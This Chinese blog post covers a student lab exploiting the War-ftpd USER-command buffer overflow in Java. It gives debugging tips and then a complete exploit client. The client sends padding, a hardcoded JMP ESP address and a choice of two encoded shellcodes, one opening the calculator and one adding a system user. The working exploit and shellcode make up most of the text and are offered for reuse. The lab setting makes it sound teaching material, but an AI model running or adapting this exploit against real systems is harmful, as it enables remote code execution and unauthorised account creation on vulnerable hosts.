War-ftpd USER longString漏洞攻击之Java实现常见问题
发表这篇文章的最重要原因是,在用Java实现War-ftpd缓冲区溢出实验时,我遇到了很多问题,而且我认为这些问题
都是非常不容易发现和解决的,为了以后学习的同学的便利,此处写下自己遇到的问题作为分享。
@1:不管是通过cdb挂起还是通过直接双击打开War-ftpd都会出现“Unknown file format for user database”的弹窗,
解决方法:删除掉FtpDaemon.dat文件。
@2:如果在C:\Documents and Settings\Administrator目录(CMD默认目录)下执行"C:\Program Files\Debugging
Tools for Windows\cdb.exe" "C:\lxw_Exp2\War-ftpd\war-ftpd.exe"命令,则会始终出现(即使是删除掉C:\lxw_E
xp2\War-ftpd \FtpDaemon.dat文件)“Unknown file format for user database”的弹窗。
解决方法:通过绝对路径访问程序(对于通过环境变量调用cdb.exe程序和war-ftpd.exe也会存在这样的问题),
程序运行的一些文件(FtpDaemon.dat文件)会保留在当前目录下(也就是C:\Documents and Settings\Administrator
目录下),所以需要将该目录下的FtpDaemon.dat文件一同删掉。
@3:最初在实现该实验程序部分时,实验能够使War-ftpd发生缓冲区溢出的错误,但EIP和ESP的值在cdb调试时总是会出现
问题,不能够吻合,所以也就无法成功的执行shellCode。如果以String类型的变量存储要发送的字符串,例如:
String str ="USER "; //攻击代码构建: //0-484 for(int i = 0; i < 485; ++i) { str += (char)0x41; } str += (char)0x12; str += (char)0x45; str += (char)0xfa; str += (char)0x7f; //7ffa4512 … OutputStream os = client.getOutputStream(); os.write(str.getBytes());
则发送的JMP ESP部分的16进制变为5个字节不再是4个字节【这儿一定要注意】。
所以也就导致了JMP ESP地址覆盖到RET不成功,也就导致了虽然War-ftpd成功的溢出,但shellCode却不能被成功的执行。
解决方法:全部的数据(USER + 填充字符 + 0x7ffa4512 + 填充字符 + shellcode + “\r\n”)【直接采用byte数组的
形式】进行发送。
@4:发送的byte数组最后一个字符必须是字符‘\n’对应的byte型数据,否则将不能成功的使shellCode被执行,实际上是连
War-ftpd都没有发生溢出。这个问题比较不容易发现。
-----------------------------------2014.11.22 补充--------------------------------------------------------
非常高兴这篇博客能够帮到一些同学,在这里把我的代码贴上来,仅供大家参考:
import java.net.* ; import java.io.* ; import java.util.Scanner; public class Client { public static void main(String args[]) throws Exception { InetAddress inet3 = InetAddress.getLocalHost(); //获得对象中存储的IP String ipAddr = inet3.getHostAddress(); Socket client = new Socket(ipAddr, 21) ; //客户端 byte[] be = new byte[1000]; //攻击代码构建: //0-484 int i = 0; be[i++] = 'U'; be[i++] = 'S'; be[i++] = 'E'; be[i++] = 'R'; be[i++] = ' '; for(i = 5; i < 490; ++i) { be[i] = 'A'; } be[i++] = (byte)0x12; be[i++] = (byte)0x45; be[i++] = (byte)0xfa; be[i++] = (byte)0x7f; //0x7ffa4512 for(int j = 0; j < 4; ++j) { be[i++] = 'B'; } //打开计算器的shellCode byte ch1[] = { (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x58,(byte)0x45,(byte)0x34,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x37,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x31,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x45,(byte)0x42,(byte)0x52,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x54,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x53,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x30,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x59,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x53,(byte)0x46,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x37,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x46,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x41,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x35,(byte)0x46,(byte)0x52,(byte)0x46,(byte)0x50,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x56,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x34,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x37,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x54,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x31,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x48,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x48,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x36,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x55,(byte)0x41,(byte)0x53,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x46,(byte)0x48,(byte)0x45,(byte)0x49,(byte)0x48,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x58,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x55,(byte)0x4a,(byte)0x56,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x46,(byte)0x30,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x55,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x56,(byte)0x41,(byte)0x46,(byte)0x4e,(byte)0x36,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x30,(byte)0x5a }; //创建新用户的shellcode byte ch2[] = { (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x45,(byte)0x54,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x57,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x35,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x44,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x43,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x50,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x39,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x33,(byte)0x46,(byte)0x55,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x47,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x36,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x30,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x51,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x58,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x46,(byte)0x30,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x43,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x36,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x48,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x47,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x34,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x41,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x58,(byte)0x4a,(byte)0x36,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x38,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x46,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x35,(byte)0x41,(byte)0x43,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x56,(byte)0x48,(byte)0x35,(byte)0x49,(byte)0x58,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x45,(byte)0x4a,(byte)0x46,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x46,(byte)0x50,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x35,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x36,(byte)0x4d,(byte)0x56,(byte)0x46,(byte)0x56,(byte)0x50,(byte)0x52,(byte)0x45,(byte)0x36,(byte)0x4a,(byte)0x57,(byte)0x45,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x56,(byte)0x45,(byte)0x46,(byte)0x46,(byte)0x57,(byte)0x42,(byte)0x42,(byte)0x45,(byte)0x57,(byte)0x43,(byte)0x37,(byte)0x45,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x42,(byte)0x32,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x53,(byte)0x44,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x36,(byte)0x42,(byte)0x53,(byte)0x42,(byte)0x43,(byte)0x44,(byte)0x36,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x42,(byte)0x48,(byte)0x32,(byte)0x48,(byte)0x52,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x36,(byte)0x45,(byte)0x56,(byte)0x46,(byte)0x47,(byte)0x42,(byte)0x52,(byte)0x4e,(byte)0x56,(byte)0x4f,(byte)0x36,(byte)0x43,(byte)0x36,(byte)0x41,(byte)0x56,(byte)0x4e,(byte)0x56,(byte)0x47,(byte)0x56,(byte)0x44,(byte)0x57,(byte)0x4f,(byte)0x56,(byte)0x45,(byte)0x47,(byte)0x42,(byte)0x37,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x46,(byte)0x4d,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x50,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x43,(byte)0x57,(byte)0x46,(byte)0x57,(byte)0x44,(byte)0x37,(byte)0x41,(byte)0x56,(byte)0x46,(byte)0x37,(byte)0x4f,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x43,(byte)0x47,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x33,(byte)0x44,(byte)0x46,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x52,(byte)0x41,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x30,(byte)0x5a }; System.out.println("\nWar-ftpd缓冲区溢出攻击开始!\n"); System.out.println("请选择攻击操作:(1.打开计算器\t2.添加用户)\n"); Scanner sc = new Scanner(System.in); int num = sc.nextInt(); switch(num) { case 1: { int length = ch1.length; for(int j = 0; j < length; ++j) { be[i++] = ch1[j]; } } break; case 2: { int length = ch2.length; for(int j = 0; j < length; ++j) { be[i++] = ch2[j]; } } break; } be[i++] = '\r'; be[i++] = '\n'; //最终的攻击代码 byte [] b = new byte[i]; for(int j = 0; j < i; ++j) { //System.out.print(be[j] + "\t"); b[j] = be[j]; } OutputStream os = client.getOutputStream(); os.write(b); os.flush(); os.close(); client.close(); System.out.println("\nWar-ftpd缓冲区溢出攻击结束!\n"); } };